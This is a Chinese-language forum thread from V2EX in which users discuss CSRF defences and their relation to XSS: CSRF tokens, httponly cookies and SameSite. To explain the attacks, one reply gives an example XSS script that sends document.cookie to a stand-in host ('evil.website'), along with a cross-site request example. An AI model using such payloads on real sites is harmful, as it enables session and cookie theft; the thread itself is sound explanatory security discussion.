V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
LeeReamond
V2EX  ›  信息安全

csrf 攻击一般是如何防御的?

  •  
  •   LeeReamond · 2021-02-03 11:15:39 +08:00 via Android · 5815 次点击
    这是一个创建于 1390 天前的主题,其中的信息可能已经有所发展或是发生改变。
    一直在用开源库的 csrf token,最近想了一个问题是,比如权限这类信息,存在 cookies 里主要是为了防 xss,但是自然地就引入了 csrf 问题,而为了防御 csrf,后端还要再发一个能被 js 读取的 token,这不还是变回 xss 问题了么,万一出现 xss 漏洞,还是系统被攻破?
    30 条回复    2021-02-04 10:39:54 +08:00
    mxT52CRuqR6o5
        1
    mxT52CRuqR6o5  
       2021-02-03 11:19:12 +08:00
    xss 是你把服务端内容直接用 InnerHTML 插到 document 里才会有风险的啊,又不是调用接口就有 xss 风险
    mxT52CRuqR6o5
        2
    mxT52CRuqR6o5  
       2021-02-03 11:21:12 +08:00
    还是说你们所有接口都是 jsonp ?
    mokeyjay
        3
    mokeyjay  
       2021-02-03 11:23:27 +08:00   ❤️ 1
    我没明白“权限这类信息”为什么要存在 cookie 里,以及为什么存在 cookie 里就能防 xss
    LeeReamond
        4
    LeeReamond  
    OP
       2021-02-03 11:27:24 +08:00 via Android
    @mokeyjay localstorage sessionstorage,cookie 可以 httponly 避免 js 读取,不就防止 xss 么
    LeeReamond
        5
    LeeReamond  
    OP
       2021-02-03 11:28:47 +08:00 via Android
    @mxT52CRuqR6o5 现在一般都是框架开发,基本没有 xss 问题,但是你还是要选型,比如你的敏感信息究竟存在什么位置,我想深究一下就来问一下
    beastk
        6
    beastk  
       2021-02-03 11:31:39 +08:00 via iPhone
    samesite
    weyou
        7
    weyou  
       2021-02-03 11:52:40 +08:00
    信息存在 cookie 里和防 xss 有啥关系, httponly 只是用来保护 cookie 不被 XSS 脚本读取的, 而不是本末倒置为了防 xss 而采用 cookie 保存信息的. 但这种方式并不能阻止浏览器在 CSRF 的跨站请求里自动带上 cookie. 而 HTML 内容或者 URL 里的 CSRF token 对于跨站攻击脚本来说是不可见的, 验证 CSRF token 就可以阻挡掉这种恶意的跨站攻击请求.
    xiaoding
        8
    xiaoding  
       2021-02-03 12:02:41 +08:00
    题主概念搞混乱了。
    1.xss 和 csrf 是两个不同的东西
    2.cookie 里面设置 httponly 是为了防止 xss 脚本读取 cookie 发送给黑客
    3.csrf 一般是通过 get 或者 post 里面的 token 和 cookie 或者 session 里面的 token 做校验来防护的
    4.如果网站有 xss 漏洞,那么 csrf 漏洞也会有,csrftoken 机制有效的前提是没有 xss
    ArcticL
        10
    ArcticL  
       2021-02-03 12:17:07 +08:00
    6 楼正解,samesite 之前一般是通过 token 或者验证 href 去防御的,一般使用 token 是框架集成使用比较方便。另外 cookie 跟防御 xss 和 csrf 没啥关系
    binux
        11
    binux  
       2021-02-03 12:24:48 +08:00 via Android
    你都被 xss 了,还担心 csrf 个什么劲啊。
    hanssx
        12
    hanssx  
       2021-02-03 12:38:02 +08:00
    jwt token
    sazima
        13
    sazima  
       2021-02-03 13:00:46 +08:00
    same site 就行.
    abersheeran
        14
    abersheeran  
       2021-02-03 13:46:20 +08:00
    设计一个接口让前端可以直接读 CSRF Token 就是错误的。前端不需要这样的接口。

    CSRF 攻击的原理是浏览器在访问网站时,会自动携带对应网站的 Cookies,这样就不需要读取你的 Cookies 照样可以用你的身份发起一些非你意愿的请求。

    CSRF 防护原理是在 Cookies 里增加一个随机字符串,在请求时,表单或请求头中必须携带这个随机串。以此保证发起请求的一方是能够读取你 Cookies 的客户端。
    falcon05
        15
    falcon05  
       2021-02-03 13:59:46 +08:00 via iPhone   ❤️ 1
    被 xss 的情况下,csrf 是没意义的,攻击者能操纵 js,自然能获得 token,甚至还能提交,防 csrf 的前提是没被 xss 。
    no1xsyzy
        16
    no1xsyzy  
       2021-02-03 14:09:52 +08:00
    打个比方,你在访问 V2 时有人 XSS:
    <script> fetch("http://evil.website/upload/cookie", {data:document.cookie}); </script>
    如果没过滤,那你的 cookie 就泄漏给了第三方网站
    httponly 阻止了 js 读取 cookie

    而如果你在访问 evil.website 时,evil.website 的拥有者攻击你。
    <script> $.ajax("https:////v2ex.com/thank/topic/...") </script>
    就算根本不是同一个网站,但却可以在请求的时候让它自动带上 cookie,这就是 CSRF 。
    所以有个 once 值,只有知道最新的 once 值才能发送感谢。

    这两个可能混淆的一点就是把 XSS 作中间跳板
    通过一个网站的 XSS 漏洞实现对另一个网站的 CSRF 攻击
    ReinerShir
        17
    ReinerShir  
       2021-02-03 14:30:53 +08:00
    @no1xsyzy XSS 的前提是用户提交的 JS 代码会被执行,现在前端开发一般用框架所以就算提交了 JS 代码也不会被执行吧?
    另外想双重保险的话可以再过滤下请求参数里的 scirpt 标签、js 代码等,所以目前还有什么攻击手段可以绕过吗?
    meepo3927
        18
    meepo3927  
       2021-02-03 16:50:03 +08:00
    防 csrf 基本思想是确保请求来自 [本站] ,而不是 [外站] 。

    [本站] 和 [外站] 一个主要区别是 本站(的脚本)能读本域的 cookie 。
    YouLMAO
        19
    YouLMAO  
       2021-02-03 16:54:51 +08:00 via Android
    小年轻阿
    no1xsyzy
        20
    no1xsyzy  
       2021-02-03 19:20:35 +08:00
    @ReinerShir TL;DR: 只要前端不羁越框架、前后端沟通顺畅,就没有。

    XSS 漏洞的产生主要来源于偷懒,并不是本质易受攻击(和 CSRF 不一样)
    和 eval 问题相似,你是完全可以写一个彻底安全的 sandbox eval 的,只要重新写一套词法分析器、语法分析器、解释器,然后把恰当的接口暴露给该环境就行。但是 eval 放那儿,图方便就直接调用了,就产生了漏洞。
    HTML/DOM 同理,div.innerHTML = user_input_string 只是一个 HTML/DOM 下的 eval 罢了。
    其次就是疏忽。
    凡称“框架”必能解决这两个问题,在框架内办事,就出不了格。
    LeeReamond
        21
    LeeReamond  
    OP
       2021-02-03 22:19:54 +08:00 via Android
    @xiaoding 我概念没有搞混,你前三点和我说的一样,我想确认一下第四点是不是对的
    LeeReamond
        22
    LeeReamond  
    OP
       2021-02-03 22:33:28 +08:00 via Android
    @abersheeran 我觉得你没有理解我说的话,你说的随机字符串的方案,就是我帖子一开始第一句说的 csrftoken,问题是我觉得既然 js 可以读取,那么还是会被 xss 漏洞攻破,如果出现的话,这种防御就没了意义。不如干脆不存在 cookie 里,可以断绝 csrf
    OHyn
        23
    OHyn  
       2021-02-03 23:26:47 +08:00
    @ReinerShir 现在不少用 jquery 拼字符串的老网站还是有 xss 风险,过滤下挺好。。。。
    OHyn
        24
    OHyn  
       2021-02-03 23:33:04 +08:00
    @LeeReamond 是,鉴权的 token 不放 cookie 里,直接解决 csrf 这种以蹭 cookie 为手段的攻击。chrome > 80, SameSite 默认 Lax,基本搞定 csrf 的问题了。
    Rocketer
        25
    Rocketer  
       2021-02-03 23:48:26 +08:00 via iPhone
    有一点需要特别明确——XSS 是指攻击者执行受害者在另一个网站的脚本,这个脚本通常还是官方的(比如在受害者不知情的情况下执行他网银的转账脚本)。

    如果攻击者能执行另一个网站的自定义代码,那攻击者就无所不能了,因为他可以完整模拟受害者的身份了。CSRF 防御手段根本识别不出
    rodrick
        26
    rodrick  
       2021-02-04 08:24:47 +08:00
    "这不还是变回 xss 问题了么",这句话也没说错,但是防御 csrf 的前提是 xss 防护肯定得做好,包括 HTTP-only Cookie 只能算是其中一种防御方式
    CSRF Token 是有弊端的,不是什么场合都可以使用的,一般如果自己做都是通过多种方式联合,虽然我也没实际做过但是理论上是这样。
    你这个问题我刚学这玩意的时候也想过,后来想明白了其实这俩是完全不同的东西,不要捆绑在一起去思考
    rodrick
        27
    rodrick  
       2021-02-04 08:28:44 +08:00
    @rodrick 关于 csrf token,理论上是这样的:”如果 同时被 XSS 攻击 ,攻击者先发起一次,用跨域方法绕过同源策略,就可以读取目标网站的 Token,甚至拿到 cookie“,所以发生这种情况的前提还是 XSS 做的有问题
    abersheeran
        28
    abersheeran  
       2021-02-04 09:13:01 +08:00
    @LeeReamond 是啊。CSRF 攻击本就是针对 Cookies 的设计缺陷。你都不用它了,自然攻击不到你。XSS 攻击就更宽泛,只要是浏览器里 JS 能做到的,XSS 攻击都可以做到。
    DOLLOR
        29
    DOLLOR  
       2021-02-04 09:54:52 +08:00
    @OHyn 我见到现在许多还在固守 jquery 一把梭的,就喜欢拼接 html 字符串,然后$(xxxx).html(xxx),简直是 XSS 的天堂。
    Asashiharuka
        30
    Asashiharuka  
       2021-02-04 10:39:54 +08:00
    父 token,禁止 ajax 获取 token
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5992 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 42ms · UTC 03:09 · PVG 11:09 · LAX 19:09 · JFK 22:09
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.